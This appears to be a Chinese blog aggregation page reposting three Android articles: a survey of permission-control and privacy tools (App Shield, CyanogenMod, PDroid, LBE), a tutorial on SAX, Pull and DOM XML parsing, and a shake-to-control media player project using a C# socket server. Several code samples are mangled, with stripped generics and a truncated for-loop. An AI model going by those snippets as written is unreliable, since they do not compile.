一旦每个应用程序都专业地主动发出提醒,不专业的用户(大多数用户都是不专业的)通常会将之视为如同海啸警报一般的危机。

这么做对谁都没有好处——用户方的隐私权是毋庸置疑的,然而应用程序方面的获取信息记录的需求也是无可阻挡的。如果每个用户都打算阻止,只会落得被迫接受不平等条约的下场,在温饱以前,不会有人考虑小康的问题。

于是,现状就变得有趣:用户人享受着相同的服务;其中大部分用户出于不知情/好意,默默地向开发者、广告商提供了信息,剩下的少数用户则能阻断这种劳务。而作为维持Android平台的信息商人Google,只确保在它的地盘里,不会发生触碰底线的事情。

一句话总结:

设备是我的,不管你怎么说,反正我说了算,但我说的话大多是不算数的。

  3  权限控制的方法

这里开始介绍各种控制Android权限的办法。可惜的是,几乎所有的手段都需要对设备进行Root,如果不这么做,则需要付出不小代价。

App Shield(国内常见的名字:权限修改器)

它是一个需要付费的Android应用,其原理是修改应用程序的apk安装包,删除其中AndroidManifest.xml文件内,用于声明权限的 对应”Android.Permission.*”条目,然后再用一个公开的证书对安装包重新签名(需要允许”未知源”),这样一来,应用程序就不会向系 统申请原先所需的权限。当应用运行至相应的流程时,系统将直接拒绝,从而达到用户控制权限的目的。

对于已安装的应用,AppShield也会按照同样方法制作好apk安装包,然后让用户先卸载原始的应用,再安装调整过的应用。除了该应用数字签名外,用户可以随时通过执行同样的流程,将吊销的权限恢复。

图7 AppShield

图7 AppShield

  Apk文件的结构

Android应用都是打包成以.apk扩展名结尾,实际上是zip的文件格式。

一个合法的apk至少需要这些成分:

根目录下的”AndroidManifest.xml”文件,用以向Android系统声明所需Android权限等运行应用所需的条件。

根目录下的classes.dex(dex指Dalvik Exceptionable),应用(application)本身的可执行文件(Dalvik字节码) 。

根目录下的res目录,包含应用的界面设定。(如果仅是一个后台执行的”service”对象,则不必需)

Apk根目录下的META-INF目录也是必须的,它用以存放应用作者的公钥证书与应用的数字签名。

当应用被安装后,这个apk文件会原封不动地移至设备的data/app目录下,实际运行的,则是Dalvik将其中Classes.dex进行编译后 的Classes.odex(存放在Dalvik缓存中,刷机时的’cache wipe就是清除Dalvik的odex文件缓存’)。

优点:

完全不需要Root,适用于所有版本的Android设备。不会损坏系统,可以吊销任意一项Android权限。

问题:

1,需要重新安装应用,该行为可能会丢失应用的配置、历史记录。

2,执行权限吊销的应用的数字签名会被更改,无法直接更新。对于那些设计不良(没有意料到’不声明权限’情况的),或有额外自校验的应用,可能会无法运行。

3,无法用于设备上的预装应用,除非制造商好心地将该应用设置为”可以删除”的状态。

4,这个方法修改了apk包中的内容——尽管实际上AndroidManifest.xml和数字签名并不算是应用程序的本身,但修改它们可能引发著作权的问题。

5,需要开启”未知源”。

6,这是一个收费应用。

CyanogenMod 7.1(及以上版本)

Cyanogenmod是一款著名的第三方编写的开源Android ROM。

CM7.1加入了控制权限的开关,官方的名称是”Permission Revoking”,任何非系统/保护应用在安装后,可直接吊销任意一项权限,其效果等价于直接删除apk包中AndroidManifest.xml的 对应条目,但不会引发自校验的问题。CM的权限工具的作用等同于AppShield,无非是在Android自身的权限系统中添加了一个开关。

图8 Cyanogen Mod 7.1中的权限吊销(Permission Revoking)设定

图8 Cyanogen Mod 7.1中的权限吊销(Permission Revoking)设定

  优点:

免费,使用简便,可随时,任意地吊销、恢复非预装应用的任意一项权限;不存在数字签名的问题,因而不影响使用自校验的应用程序。

问题:

此功能仅在Cyanogen Mod 7.1及以上版本提供,无法用于其它rom。因为是由Android系统出面吊销权限,其实现原理与App Shield完全相同,同样的,应用程序会因为设计不良而出现崩溃。

Permission Denied

这是可以吊销任意Android应用(注意,不当地吊销系统应用的权限可能会导致手机固件损坏,无法启动)的任意权限,对权限的修改在重启后生效。

实现原理应该与Cyanogen Mod 7.1+完全相同,适用于任何已经Root的系统,因为一般的Android系统虽然事实上支持权限吊销,但没有像Cyanogen Mod那样放置接口,因此需要重启后才能应用权限配置。同样也有系统出面拒绝权限而导致的崩溃现象。

图9 Permission Denied免费版吊销应用程序权限的场景

图9 Permission Denied免费版吊销应用程序权限的场景

  优点:

效果与Cyanogen Mod中的权限吊销效果一致,且可吊销系统应用的权限。同时提供了免费与收费版本,免费版并没有基本功能的缺失。适用于所有版本号不低于1.6的Android设备。

问题:

调整后的权限需要重启才能生效。设计不良的应用会崩溃。不恰当的权限修改会损坏系统,导致无法开机。

PDroid

PDroid实际上是一个Android内核补丁加上一个用于管理的外部应用。补丁需要在Recover环境中刷入系统,也可以由开发者自行移植入系 统。该软件在Android ASOP 2.3.4代码基础上开发,仅适用于没有改动内核的Android 2.3系统,目前还未支持Android 4。

图10 PDroid的界面

图10 PDroid的界面

   为了避免Cyanogen Mod 7.1+权限吊销(Permission revoking)导致的崩溃问题,以及后台服务(如LBE,QQ手机管家等,PDroid的作者认为通过后台服务拦截权限并不是好办法),PDroid 并不阻止应用程序声明权限,但会在其实际索取相关信息时,予以阻止。通俗地说,就是签署协议但不执行。在PDroid的用户界面,用户能随时精确地控制涉 及隐私的各项权限。对于某些内容,除了阻止外,用户还可以伪造一个随机或指定的数据。

可控制的内容包括:

IMEI(可伪造)

IMSI(可伪造)

SIM卡序列号(可伪造)

手机号码(可伪造)

来,去电号码

SIM卡信息

当前蜂窝网络信息

(以上七者均来自Android.Permission.READ_PHONE_STATE)

GPS定位信息 (可伪造,来自Android.Permission.FINE_LOCATION)

基站定位   (可伪造,来自Android.Permission.COARSE_LOCATION)

系统自带浏览器的历史,书签(Android.Permission.BOOKMARKS)

联系人    (android.permission.READ_CONTACTS)

通话记录   (android.permission.READ_CONTACTS)

系统日志   (android.permission.READ_LOGS)

当前账户列表   (android.permission.GET_ACCOUNTS)

当前账户的授权码  (android.permission.USE_CREDENTIALS)

短信,彩信 (可能与这5个权限有关)

android.permission.READ_SMS

android.permission.RECEIVE_SMS

android.permission.SEND_SMS

android.permission.WRITE_SMS

android.permission.RECEIVE_MMS

日历    android.permission.READ_CALENDAR

PDroid的内核补丁并不通用,每一个Rom都需要特定的补丁。开发者除了提供了几个特定机型下Cyanogen Mod,HTC Sense修改版ROM的专用补丁外,还推出了一个补丁生成工具(PDroid Patcher),用户可以给自己的ROM生成专用的内核补丁。使用该Patcher需要安装JDK(java Development Kit)。

优点:

PDroid避免了通过Android系统进行权限吊销的导致的潜在崩溃问题,也不需要后台服务。对隐私信息的控制是最精细的。尽管设备必须Root,但应用本身不需要Root权限。

问题:

安装过程是最繁琐,最不可靠的,容易导致ROM损坏,适用范围也小,需要用户有相当的技能(能安装JDK,会刷机)才可使用;只提供对隐私有关权限的控制,不提供网络访问,的控制。以这些为代价,它几乎没有其它缺点。

LBE安全大师

实际上最常用的是以LBE为代表的通过一个Root权限的后台服务来拦截相关行为的工具。除了LBE外,还有QQ手机管家等应用。这里以LBE安全大师为例介绍。

图11 LBE安全大师

图11 LBE安全大师

   LBE是国内一个叫”LBE安全小组”开发的工具,支持Android2.0~4.0。它的核心功能是像杀毒软件一般,通过一个需要Root权限的后台 服务,劫持所有调用权限的行为,并放行用户许可的部分(其官方宣传为’API级别拦截’)。它和PDroid一样几乎不会引发应用程序崩溃,它支持拦截几 个涉及用户的关键权限(LBE手机管家3.1/3.2):

读取短信  (android.permission.READ_CONTACTS)

联系人记录  (android.permission.READ_CONTACTS)

通话记录  (android.permission.READ_CONTACTS)

定位   (Android.Permission.COARSE_LOCATION

Android.Permission.FINE_LOCATION)

手机识别码  (与Android.Permission.READ_PHONE_STATE有关)

通话状态  (与Android.Permission.READ_PHONE_STATE有关)

发送短信(具体原理不明,同样类似于禁止这五个权限

android.permission.READ_SMS

android.permission.RECEIVE_SMS

android.permission.SEND_SMS

android.permission.WRITE_SMS

android.permission.RECEIVE_MMS)

拨打电话  (android.permission.CALL_PHONE)

通话监听  (android.permission.PROCESS_OUTGOING_CALLS)

除此以外,LBE还可以分别控制应用在Wifi,手机网络的联网权限,其原理是依靠IPtables防火墙,而非通过Android的”Internet”权限。

此外LBE手机管家还提供基于智能内容审查的短信拦截、来电归属地显示,以及禁用系统(保护)应用,进程管理,杀毒等功能。

LBE提供两个版本,一个叫”LBE安全大师”,是一个全面的手机管家类应用,更新比较频繁,另一个版本(LBE手机隐私卫士,LBE Security lite)仅提供权限方面的管理。

考虑到主要市场在国内,LBE的发行策略看上去有些奇怪,它在Google的官方市场并不发行最新版。通常只能只能在LBE的官方网页,以及国内的应用市场获得最新版本。

优点:

使用非常简单,功能强大而全面,风险很小,可以控制系统应用。适用范围广,有很多替代产品。

问题:

需要后台服务 (尽管蚕豆网有个评测,认为它对能耗几乎没有影响),不能控制所有的Android权限。

  4  自启动的控制

Android对后台服务有着最好的支持。

在Android中可以自由地开发一种称为’Service’的后台运行的对象,加上没有苹果公司对应用程序的严格限制。诸如QQ挂机,即时调用第三方应用程序之类的形式都可以轻易实现。

为了全面支持后台服务,也为了适应移动设备资源紧张,不得不经常清理内存的问题,应用可在系统中设置触发器,当系统发生了某个特定特定事件时(系统启动,拨打电话,收发信息,安装、卸载应用,插上电源等,或应用程序自行定义的事件),就会触发启动应用程序。

AutoStarts 自启动管理

AutoStarts是一个收费应用,通过它,用户能了解系统中每一项程序会在什么场合下被触发运行。如果提供Root权限,则还能禁止这样的行为。

这里以Google Maps应用6.2版为例。默认情况下,这款应用总是会保持后台运行,并每小时向Google发送一次当前用户的位置信息。为了阻止这样的行为,需要联合 使用AutoStarts与任意一款进程管理应用:在AutoStarts中,阻止Google Maps的自行启动(如图),在每次使用完后,把Google Maps的进程杀掉。

图12 AutoStarts可以对自启动项目进行修改

图12 AutoStarts可以对自启动项目进行修改

  5  其他

Root带来的风险

有一个钻牛角尖的说法认为,一旦对设备进行了Root,便无安全一说,只要恶意程序一旦偷偷获得Root级别,一切都是空谈。

这种说法之所以钻牛角尖,是因为:一方面Android中的Root权限通常都是需要用户通过Superuser应用进行授权的,这已经够用,虽然不能 指望Superuser无懈可击;另一方面,控制Android权限主要是为了让应用程序在”灰色地带”的行为收敛一些,它们实际显然不是病毒等犯罪软 件。

著作权的问题 (作者不是法律方面的专家,以下言论仅供参考)

我们知 道,Android中的应用程序是基于Java语言编写的。而为了达到跨平台的目的,Java软件是以字节码(或叫中间代码,bytecode),而非计 算机能直接执行的机器码(Machine Code,有时也叫作Binary)的形式存在。因此执行Java软件时,需要一个Java虚拟机(Android系统中的Java虚拟机就是 Dalvik)负责解释运行,有的时候,虚拟机还会通过即时编译(JIT)的方法将字节码编译为机器码后再运行,以提高程序的执行效率。

这就出现一个很有趣的现象:

除非另行规定,作为设备的拥有者,用户总是可以自行决定如何使用软件,能自行决定程序能否访问用户自己的计算机(移动设备亦然)里面的各个内容、对象。

由此衍生出,在需要对代码编译、解释的场合,用户也能通过对编译器(解释器)的干预,来影响代码的执行效果。在Android中,用户还可以在Dalvik解释、编译的时候动手。

这是因为,著作权仅保护了软件代码不受到非授权的反向工程,未授权传播等侵犯。另一方面,对于Android上的Java,网页中的 JavaScript程序,赋予用户解释、编译的权利是程序能执行的先决条件;同时,软件发行者发通常也会主动提出放弃这种权利(表现为’软件按原样提供 ‘、’不对使用软件造成的后果负责’等条目)

在编译、解释的过程中,需要通过汇编(Assemble),连接(Link)等方法将编译 好的对象(Object)、方法(Function)联系起来。默认情况下,这些行为是由原始的代码(源代码、中间代码)与编译器(解释器)决定的,但是 用户可以通过制约编译器(解释器)的设置,从而影响到最终代码。这么做是没有问题的。

还有一种,应用程序在安装后,会在系统中产生一些 缓存,或注册一些信息。当其中的内容有关用户数据时,读取或修改它们也是没有问题的。这就是所谓”只要是你的东西总是你的”;也是Cyanogen Mod、Permission Denied不会涉及版权问题的原因所在。

总之,一个Android应用之所以能运行的前提是:

1,首先,用户允许使用这个应用

这也可以理解成:用户安装了应用(以及因此设定的后台对象),购买了预装应用的手机。这一点即不影响应用程序的主动通知义务,也不影响用户事后的干预。

2,接下来,用户允许Dalvik对该应用使用”解释”,”JIT”的方法,从而该应用程序得以执行。

3,用户随时可以对该应用作出任意不违反版权的干预。

所以,在没有另行规定的前提下,用户总是可以自行决定,通过给应用程序分配自定义的权限;或是在应用程序调取内容,对象时予以阻断。同时,用户也需要自行承担因不当操作产生的后果。

  附录:

1、 数字签名

数字签名是一种使用了公钥加密领域的技术实现,用于鉴别数字信息的方法。一套数字签名通常定义两种互补的运算,一个用于签名,另一个用于验证。数字签名可以轻易地验证完整性(正确性),合法签署的数字签名具有不可否认性。 (摘录自维基百科”数字签名”条目,有修改)

2、 版权声明

文章中引用的图标,图片或图片的部分,以及部分文字的引用,仅出于合理使用的目的,可能是持有人版权所有的。

3、 一些行为的说明

不道德行为

应用程序在启动时,或在主动告知以前,试图索取、收集电话号码、邮箱地址、位置信息等与个人身份直接关联的内容。如果是与个人关联,但不能直接联系到个人信息的IMEI等设备、SIM卡的串号,则稍微好一些。

附图1,不道德的应用程序在启动的第一时间就试图获取隐私信息

新浪微博

(新浪微博2.8),无论用户是否绑定了手机,应用都会第一时间记录当前手机的号码

UCWEB

(UC浏览器,快拍二维码),应用总是会不主动通知地记录设备的位置信息

  没有实行主动通知的例子

UCWEB

附图2 这个应用程序在第一次启动时便开始收集位置信息,用户需要切换六次屏幕才能看到有关位置信息的提示。这项提示还有意忽略应用程序本身就会记录用户位置信息,即便用户并不使用需要位置信息的服务

  主动通知的例子

taobao

附图3 主动通知就是在第一屏的醒目处,或用醒目的对比色等强调方式进行通告

  来源:fcerebel投稿。

[转载]android解析XML总结(SAX、Pull、Dom三种方式)

mikel阅读(1010)

[转载]android解析XML总结(SAX、Pull、Dom三种方式) – JerryWang – 博客园.

Android开发中,经常用到去解析xml文件,常见的解析xml的方式有一下三种:SAX、Pull、Dom解析方式。最近做了一个Android版的CSDN阅读器,用到了其中的两种(sax,pull),今天对Android解析xml的这三种方式进行一次总结。

今天解析的xml示例(channels.xml)如下:

<!--?xml version="1.0" encoding="utf-8"?-->

百度
腾讯
新浪
淘宝

一、使用sax方式解析

 基础知识:

这种方式解析是一种基于事件驱动的api,有两个部分,解析器和事件处理器,解析器就是XMLReader接口,负责读取XML文档,和向事件处理器发 送事件(也是事件源),事件处理器ContentHandler接口,负责对发送的事件响应和进行XML文档处理。

下面是ContentHandler接口的常用方法

public abstract void characters (char[] ch, int start, int length)

这个方法来接收字符块通知,解析器通过这个方法来报告字符数据块,解析器为了提高解析效率把读到的所有字符串放到一个字符数组(ch)中,作为参数传递给 character的方法中,如果想获取本次事件中读取到的字符数据,需要使用start和length属性。

public abstract void startDocument () 接收文档开始的通知

public abstract void endDocument () 接收文档结束的通知

public abstract void startElement (String uri, String localName, String qName, Attributes atts) 接收文档开始的标签

public abstract void endElement (String uri, String localName, String qName) 接收文档结束的标签

在一般使用中为了简化开发,在org.xml.sax.helpers提供了一个DefaultHandler类,它实现了ContentHandler的方法,我们只想继承DefaultHandler方法即可。

另外SAX解析器提供了一个工厂类:SAXParserFactory,SAX的解析类为SAXParser 可以调用它的parser方法进行解析。

看了些基础以后开始上代码吧(核心代码,下载代码在附件)

public class SAXPraserHelper extends DefaultHandler {

final int ITEM = 0x0005;

Listlist;
channel chann;
int currentState = 0;

public ListgetList() {
return list;
}

/*
* 接口字符块通知
*/
@Override
public void characters(char[] ch, int start, int length)
throws SAXException {
// TODO Auto-generated method stub
// super.characters(ch, start, length);
String theString = String.valueOf(ch, start, length);
if (currentState != 0) {
chann.setName(theString);
currentState = 0;
}
return;
}

/*
* 接收文档结束通知
*/
@Override
public void endDocument() throws SAXException {
// TODO Auto-generated method stub
super.endDocument();
}

/*
* 接收标签结束通知
*/
@Override
public void endElement(String uri, String localName, String qName)
throws SAXException {
// TODO Auto-generated method stub
if (localName.equals("item"))
list.add(chann);
}

/*
* 文档开始通知
*/
@Override
public void startDocument() throws SAXException {
// TODO Auto-generated method stub
list = new ArrayList();
}

/*
* 标签开始通知
*/
@Override
public void startElement(String uri, String localName, String qName,
Attributes attributes) throws SAXException {
// TODO Auto-generated method stub
chann = new channel();
if (localName.equals("item")) {
for (int i = 0; i &lt; attributes.getLength(); i++) {
if (attributes.getLocalName(i).equals("id")) {
chann.setId(attributes.getValue(i));
} else if (attributes.getLocalName(i).equals("url")) {
chann.setUrl(attributes.getValue(i));
}
}
currentState = ITEM;
return;
}
currentState = 0;
return;
}
}
private List getChannelList() throws ParserConfigurationException, SAXException, IOException
{
//实例化一个SAXParserFactory对象
SAXParserFactory factory=SAXParserFactory.newInstance();
SAXParser parser;
//实例化SAXParser对象,创建XMLReader对象,解析器
parser=factory.newSAXParser();
XMLReader xmlReader=parser.getXMLReader();
//实例化handler,事件处理器
SAXPraserHelper helperHandler=new SAXPraserHelper();
//解析器注册事件
xmlReader.setContentHandler(helperHandler);
//读取文件流
InputStream stream=getResources().openRawResource(R.raw.channels);
InputSource is=new InputSource(stream);
//解析文件
xmlReader.parse(is);
return helperHandler.getList();
}

从第二部分代码,可以看出使用SAX解析XML的步骤:

1、实例化一个工厂SAXParserFactory

2、实例化SAXPraser对象,创建XMLReader 解析器

3、实例化handler,处理器

4、解析器注册一个事件

4、读取文件流

5、解析文件

二、使用pull方式解析

基础知识:

在android系统中,很多资源文件中,很多都是xml格式,在android系统中解析这些xml的方式,是使用pul解析器进行解析的,它和sax解析一样(个人感觉要比sax简单点),也是采用事件驱动进行解析的,当pull解析器,开始解析之后,我们可以调用它的next()方法,来获取下一个解析事件(就是开始文档,结束文档,开始标签,结束标签),当处于某个元素时可以调用XmlPullParser的getAttributte()方法来获取属性的值,也可调用它的nextText()获取本节点的值。

其实以上描述,就是对整个解析步骤的一个描述,看看代码吧

private List<map>&gt; getData() {</map>
<map> List</map><map>&gt; list = new ArrayList</map><map>&gt;();</map>
<map> XmlResourceParser xrp = getResources().getXml(R.xml.channels);</map>

try {
// 直到文档的结尾处
while (xrp.getEventType() != XmlResourceParser.END_DOCUMENT) {
// 如果遇到了开始标签
if (xrp.getEventType() == XmlResourceParser.START_TAG) {
String tagName = xrp.getName();// 获取标签的名字
if (tagName.equals("item")) {
Map map = new HashMap();
String id = xrp.getAttributeValue(null, "id");// 通过属性名来获取属性值
map.put("id", id);
String url = xrp.getAttributeValue(1);// 通过属性索引来获取属性值
map.put("url", url);
map.put("name", xrp.nextText());
list.add(map);
}
}
xrp.next();// 获取解析下一个事件
}
} catch (XmlPullParserException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

return list;
}

三、使用Dom方式解析

基础知识:

最后来看看Dom解析方式,这种方式解析自己之前也没有用过(在j2ee开发中比较常见,没有做过这方面的东西),在Dom解析的过程中,是先把dom全部文件读入到内存中,然后使用dom的api遍历所有数据,检索想要的数据,这种方式显然是一种比较消耗内存的方式,对于像手机这样的移动设备来讲,内存是非常有限的,所以对于比较大的XML文件,不推荐使用这种方式,但是Dom也有它的优点,它比较直观,在一些方面比SAX方式比较简单。在xml文档比较小的情况下也可以考虑使用dom方式。

Dom方式解析的核心代码如下:

public static List getChannelList(InputStream stream)
{
List list=new ArrayList();

//得到 DocumentBuilderFactory 对象, 由该对象可以得到 DocumentBuilder 对象
DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();

try {
//得到DocumentBuilder对象
DocumentBuilder builder=factory.newDocumentBuilder();
//得到代表整个xml的Document对象
Document document=builder.parse(stream);
//得到 "根节点"
Element root=document.getDocumentElement();
//获取根节点的所有items的节点
NodeList items=root.getElementsByTagName("item");
//遍历所有节点
for(int i=0;i {
channel chann=new channel();
Element item=(Element)items.item(i);
chann.setId(item.getAttribute("id"));
chann.setUrl(item.getAttribute("url"));
chann.setName(item.getFirstChild().getNodeValue());
list.add(chann);
}

} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

return list;
}

总结一下Dom解析的步骤(和sax类似)

1、调用 DocumentBuilderFactory.newInstance() 方法得到 DOM 解析器工厂类实例。

2、调用解析器工厂实例类的 newDocumentBuilder() 方法得到 DOM 解析器对象

3、调用 DOM 解析器对象的 parse() 方法解析 XML 文档得到代表整个文档的 Document 对象。

四、总结

除以上三种外还有很多解析xml的方法,比如DOM4J、JDOM等等。但其基本的解析方式包含两种,一种是事件驱动的(代表SAX),另一种方式是基于文档结构(代表DOM)。其他的只不过语法不一样而已。

附(本文示例运行截屏):

 

下载源码

[转载]android遥控器:控制电脑上的暴风影音播放(C#作为服务端)

mikel阅读(1327)

[转载]android遥控器:控制电脑上的暴风影音播放(C#作为服务端) – FMN – 博客园.

源码:点此下载

不知道大家有没有和我一样的习惯,喜欢躺在床上看电影,手里还拿着手机玩。。。

所以我就想到了这样一个程序:用Android手机控制电脑上的暴风影音播放(当然,同样的方法也适用于pps什么的)。大冷天的,来电话需要暂停电影电视的播放,只要在被窝里轻轻一晃手机,就停止播放了,感觉还是挺爽的,哈哈。

首先讲一下手机和电脑的互联:

1,家里有无线网路由器的话,直接将手机介入无线网就可以了。

2,只有手机和笔记本的话,可以打开Android的wifi热点。设置-无线和网络-绑定与便携式热点,打开便携式热点。然后用笔记本连接。这里要注意一下,笔记本自动获取ip的话,就可以通过android上网了,想阻止笔记本联网(省流量),可以看下笔记本自动获取到的ip和掩码,然后将ip改为手动设置,填入刚才自动获取的ip和掩码,注意千万不要设置网关和dns,不然你就等着流量耗完泪奔吧。

下面是实现原理:

播放器都有自己的快捷键,比如暴风:空格键是暂停,ctrl+left是快退,ctrl+right是快进。所以我就想到了用 PostMessage方法向(本来是用SendMessage的,可是不管用,后来改成PostMessage后就好了–//)暴风影音窗口发送键盘 消息。所以要在电脑上用C#写一个程序,用来接收android手机的消息,然后使用PostMessage方法来控制暴风影音。无论暴风影音最小化还是 全屏播放都是可以接收到消息的。

下面是实现方法:

一,首先是电脑上的C#监听程序,首先新建一个SendMsg类,实现向暴风影音发送消息。

其中向键盘发送的消息,我使用了spy++来不作的,不知道使用的google一下。其中碰到了一个问题,无法使用postMessage向进程发送“Ctrl+left”组合键,网上查了一下也说不可以,希望知道的朋友写一下方法。所以我就在暴风影音里修改了一下快捷键,将快进和快退功能分别变为right和left。

实现播放暂停的代码片段:

///

&nbsp;

<summary> /// 开始,暂停
/// </summary>

&nbsp;

&nbsp;

public void StartOrStop()
{
PostMessage(mainWindowHander, 0x0100, 0x20, 0x20390001);
PostMessage(mainWindowHander, 0x0101, 0x20, 0x20390001);
}

PostMessage中0x20390001代表空格键。PostMessage发动键盘消息的使用可以参考C#中使用 SendMessage 向非顶端窗体发送组合键

 

上面的这个方法模拟在暴风影音上按下,松开空格键。

 

下面是控制暴风影音的代码:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;

namespace 暴风control
{
public class SendMsg
{
[DllImport("user32.dll", EntryPoint = "PostMessage")]  //使用系统的非托管代码。
public static extern int PostMessage(
IntPtr hwnd,
int wMsg,
uint wParam,
uint lParam
);

IntPtr mainWindowHander;

///

<summary> /// 遍历电脑所有的进程,获取暴风影音句柄
/// </summary>

&nbsp;

public SendMsg()
{
Process[] allProcesses = Process.GetProcesses();
foreach (Process p in allProcesses)
{
if (p.ProcessName == "StormPlayer")  //最新版暴风的进程名是StormPlayer,以前的是Storm在任务管理器里可以看到,这里不一样要修改一下。
mainWindowHander = p.MainWindowHandle;
}
if (mainWindowHander == IntPtr.Zero)
{
Process p = new Process();
p.StartInfo.FileName = @"D:\Baofeng\StormPlayer\StormPlayer.exe"; //暴风影音地址,改成你们自己的。
p.Start();
Thread.Sleep(3000);  //这里是笨方法,要等待3秒,以免暴风影音进程还没有启动就获取句柄。
mainWindowHander = p.MainWindowHandle;
}
}

///

<summary> /// 开始,暂停
/// </summary>

&nbsp;

public void StartOrStop()
{
PostMessage(mainWindowHander, 0x0100, 0x20, 0x20390001);
PostMessage(mainWindowHander, 0x0101, 0x20, 0x20390001);
}

///

<summary> /// 快退
/// </summary>

&nbsp;

public void Back()
{
PostMessage(mainWindowHander, 0x0100, 0x25, 0x204b0001);
PostMessage(mainWindowHander, 0x0101, 0x25, 0x204b0001);
}

///

<summary> /// 快进
/// </summary>

&nbsp;

public void Qian()
{
PostMessage(mainWindowHander, 0x0100, 0x27, 0x204d0001);
PostMessage(mainWindowHander, 0x0101, 0x27, 0x204d0001);
}
}
}

二,C#和android使用socket通信。

C#服务端的代码:

using System;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.Threading;
using System.Windows.Forms;

namespace 暴风control
{
    class NetControl
    {
        SendMsg sendMsg = new SendMsg();
        TextBox textBox;

        public NetControl(TextBox tmpTextBox)
        {
            textBox = tmpTextBox;
        }

        public void BeginListen()
        {
            Thread.CurrentThread.IsBackground = true;
            TcpListener server = new TcpListener(IPAddress.Any, 12121);
            server.Start();
            while (true)
            {
                TcpClient client= server.AcceptTcpClient();
                Thread clientThread = new Thread(new ParameterizedThreadStart(receiveMsg));
                clientThread.Start(client);
            }
        }

        /// <summary>
        /// 服务器侦听
        /// </summary>
        /// <param name="result"></param>
        private void receiveMsg(Object obj)
        {
            Control.CheckForIllegalCrossThreadCalls = false;
            Thread.CurrentThread.IsBackground = true;
            using (TcpClient client =(TcpClient)obj)
            {
                using (NetworkStream stream = client.GetStream())
                {
                    int dataLength = 0;
                    string str;
                    string msg;
                    do
                    {
                        byte[] buffer = new byte[32];
                        dataLength = stream.Read(buffer, 0, buffer.Length);
                        str = Encoding.ASCII.GetString(buffer, 0, dataLength);
                        msg = Encoding.ASCII.GetString(buffer);
                        sendMessage(msg);
                        textBox.Text += "\r\n" + msg + "\r\n-----";
                    } while (client.Connected && msg.Substring(0, 4)!="over");  //就受到over字符串就断开连接,否则会出现死循环。。。
                }            }
        }

        /// <summary>
        /// 根据收到信息,使用不同的功能(快进,暂停等)
        /// </summary>
        private void sendMessage(string msg)
        {
            string res=msg.Substring(0,4);
            switch (res)
            { 
                case "back":
                    sendMsg.Back();
                    break;
                case "qian":
                    sendMsg.Qian();
                    break;
                case "stsp":
                    sendMsg.StartOrStop();
                    break;
            }
        }
    }
}

android端的socket相关代码(现学现用,大家见谅。。):

package com.android.baofengControl;

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import android.content.Context;
import android.widget.TextView;

public class Client {
    Socket client;
    PrintWriter out;
    TextView txt;
    Context context;
    
    public Client(TextView txt,Context context)
    {
        this.txt=txt;
        this.context=context;
    }
    
    ///建立连接,并保持
    public void connectServer(String ip)
    {
        InetAddress serverAddress = null;
        try {
            serverAddress = InetAddress.getByName(ip);
        } catch (UnknownHostException e) {
            txt.setText(e.getLocalizedMessage()+txt.getText());
            e.printStackTrace();
        }
        
        try {
            client=new Socket(serverAddress,12121);
            out=new PrintWriter(new BufferedWriter(new OutputStreamWriter(client.getOutputStream())),true);
        } catch (IOException e) {
            txt.setText(e.getLocalizedMessage()+txt.getText());
            e.printStackTrace();
        }
    }
    
  //发送消息
    public void sendMsg(String msg) throws IOException
    {
        out.println(msg);
    }
    
  //发送over结束字符,然后断开连接
    public void close()
    {
        out.println("over");
        out.close();
        txt.setText("end"+txt.getText());
    }
}

三,摇晃手机控制播放

这里使用了网上已有的代码,稍加修改。

package com.android.baofengControl;

import java.io.IOException;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;

public class MySensor {
    SensorManager sensorManager;
    Client client;
    
    ///开始监听加速传感器
    public void Listen(SensorManager sensorManager,Client client)
    {
        this.client=client;  //发送联网数据的类。
        this.sensorManager=sensorManager;
        Sensor sensor=sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
        sensorManager.registerListener(sensorEventListener, sensor, SensorManager.SENSOR_DELAY_NORMAL);
    }
    
    SensorEventListener sensorEventListener =new SensorEventListener(){

        long lastUpdate,lastShakeTime = 0;
        float x,y,last_x = 0,last_y = 0;
        static final int SHAKE_THRESHOLD = 750;
        
        public void onAccuracyChanged(android.hardware.Sensor arg0, int arg1) {
            // TODO Auto-generated method stub
            
        }

        public void onSensorChanged(SensorEvent e) {
            long curTime = System.currentTimeMillis();
            // detect per 100 Millis
            if ((curTime - lastUpdate) > 100) {
                long diffTime = (curTime - lastUpdate);
                lastUpdate = curTime;
                //这里做了简化,没有用z的数据
                x = e.values[SensorManager.DATA_X];
                y = e.values[SensorManager.DATA_Y];
                //z = Math.abs(values[SensorManager.DATA_Z]);
                float acceChangeRate = 0;// = Math.abs(x+y - last_x - last_y) / diffTime * 1000;  
                if(last_x != 0) acceChangeRate = Math.abs(x+y - last_x - last_y) / diffTime * 10000;
                 //这里设定2个阀值,一个是加速度的,一个是shake的间隔时间的
                if (acceChangeRate > SHAKE_THRESHOLD && curTime - lastShakeTime > 1000) {

                    lastShakeTime = curTime;
                    try {
                        client.sendMsg("stsp");    //发送消息。。。。。。。。。。。。。。。
                    } catch (IOException e1) {
                        e1.printStackTrace();
                    }
                }
                last_x = x;
                last_y = y;
            }
        }};
}

最后,运行程序,然后可以按home键隐藏,只要要一下手机就可以控制暴风了。我的是2.3.7系统,测试通过。